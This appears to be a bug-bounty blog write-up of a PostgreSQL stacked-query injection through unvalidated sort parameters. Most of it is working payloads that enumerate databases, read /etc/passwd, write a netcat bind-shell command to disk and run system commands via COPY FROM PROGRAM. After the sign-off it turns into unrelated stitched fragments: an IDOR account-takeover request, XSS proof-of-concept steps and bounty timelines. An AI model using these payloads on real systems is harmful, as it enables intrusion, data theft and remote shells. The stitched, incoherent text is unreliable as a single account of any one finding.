Aslam-O-Alaikum fellas! in this noobish article, I will post about my recent finding, PostgreSQL Injection, allowing an attacker to access the database. Furthermore, can read/write internal files too.

PostgreSQL, also known as Postgres, is a free and open-source relational database management system emphasizing extensibility and SQL compliance. It was originally named POSTGRES, referring to its origins as a successor to the Ingres database developed at the University of California, Berkeley

So, the program is a private program I cannot disclose its name hence let's call it "private.com". The application "private.com" is calling some sort of datasets from the database using a GET request, which looks like this:

https://private.com/private/datasets/?context_details=%7B%22company%22:%22Context+1%22,%22brand%22:%22Brand+1%22%7D&sort_on=last_modified_date&sort_order=DESC&page_number=1&page_size=10&search_text=%22%22

SELECT * FROM prod.dataset WHERE (isactive is true) AND context_id = 'private' ORDER BY dataset.last_modified_date DESC LIMIT 20 OFFSET 0

in the above SQL query values from 'sort_on' and 'sort_order'  parameters are getting inserted and are not validating the user input. Hence, an attacker can break the old SQL query and can add his own query( Stacked Query).

Like this,

https://private.com/private/datasets/?context_details=%7B%22company%22:%22Context+1%22,%22brand%22:%22Brand+1%22%7D&sort_on=last_modified_date&sort_order=DESC%3bSELECT+version()--%26&page_number=1&page_size=10&search_text=%22%22

The above URL insert our payload ";SELECT version()--&"in SQL query like this:

SELECT * FROM prod.dataset WHERE (isactive is true) AND context_id = 'private' ORDER BY dataset.last_modified_date DESC;SELECT version()--& LIMIT 20 OFFSET 0

and KaBOOM!

Now, to fetch all the Databases below payload can be used

;SELECT datname FROM pg_database--&

Remote Code Execution with PostgreSQL Injection

The following payload is used to confirm if we are superuser or not and Luckily I got Superuser = True :) 

;SELECT user;SHOW is_superuser; SELECT current_setting('is_superuser');SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;--&

Now, we can simple just read internal files like this:

;SELECT pg_read_file('/etc/passwd');--&/div>

To write a file following query can be used

;CREATE TABLE hw (t TEXT); INSERT INTO hw(t) VALUES('nc -lvvp 2346 -e /bin/bash'); SELECT * FROM hw; COPY hw(t) TO '/tmp/hw';

DROP TABLE IF EXISTS cmd_exec;          -- [Optional] Drop the table you want to use if it already exists
CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output
COPY cmd_exec FROM PROGRAM 'id';        -- Run the system command via the COPY FROM PROGRAM function
SELECT * FROM cmd_exec;                 -- [Optional] View the results
DROP TABLE IF EXISTS cmd_exec;          -- [Optional] Remove the table

Thanks for reading.

CustomerAccount.CustomerId=4884c354-5c06-4014-8cdb-978aa7d4fd08&CustomerAccount.FirstName=Abdulwahab&CustomerAccount.LastName=Khan&CustomerAccount.Email=hackertabish786%40bugcrowdninja.com&CustomerAccount.Phone=&profileBirthDate=&myAccountSubscribe=on&profileSignUpDailyDeals=on&__RequestVerificationToken=XdRptyf0jaMfI0VqnRHh7b0g-qo7M420BfdrssU8gNf_md6n4_himhPVpUDn3hYjMmqrqq3cWqE5Znlv7oMRwPtrve5tZ80baAZvzg4Y1NCYCvZqyHc_9nJBcSQt3XTK_rbQ1itYopth1T6eM6H7Cg2

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/json; charset=utf-8
Request-Context: appId=cid-v1:6179475f-85be-4c05-84ee-87e58617700f
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Date: Fri, 19 july 2019 10:01:31 GMT
Connection: close
Content-Length: 32

"Your profile has been updated."

 

1. Get CustomerID by Unsub Button
2. Change email using IDOR
3. Request a new Password on New Email
4. BOOOM!

• Reported 19 July 2019
• Accepeted By ZeroCopter Team 19 july 2019
• working in Progress 22 july 2019
• Asked for retest 26 July 2019
• Marked as Resolved 26 July 2019
• Recieved Bounty in my btc wallet 27 July 2019

Download Here:-

Watch Tutorial:-

Note:-

I Just Reported it and Got Nice Freelancer Swag and Some Kudos I am Also expecting  Reward From Them But AnyWay.

POC:-

1. Login
2. Go to the Profile and Click Edit
3. in Bio Section add the Simple Xss Payload i.e,
4.    "><script>alert(1);</script>
5. Click Save
6. Open Profile in New Tab
7. XSS ! BOOM 

Report Summary:-

1.Open Redirect & Content Spoofing

2.Delete Primary Email(Which is Unallowed by Facebook)

3.Change Account Password Without Knowing Current Password

OnepageCrm:

1.Signup with Contact Name in Address Field Below:-
<script>alert(1);</script>
2.Login with account
3.Xss Executed

Thanks,

ABDULWAHAB,

Independent Cyber Security Researcher,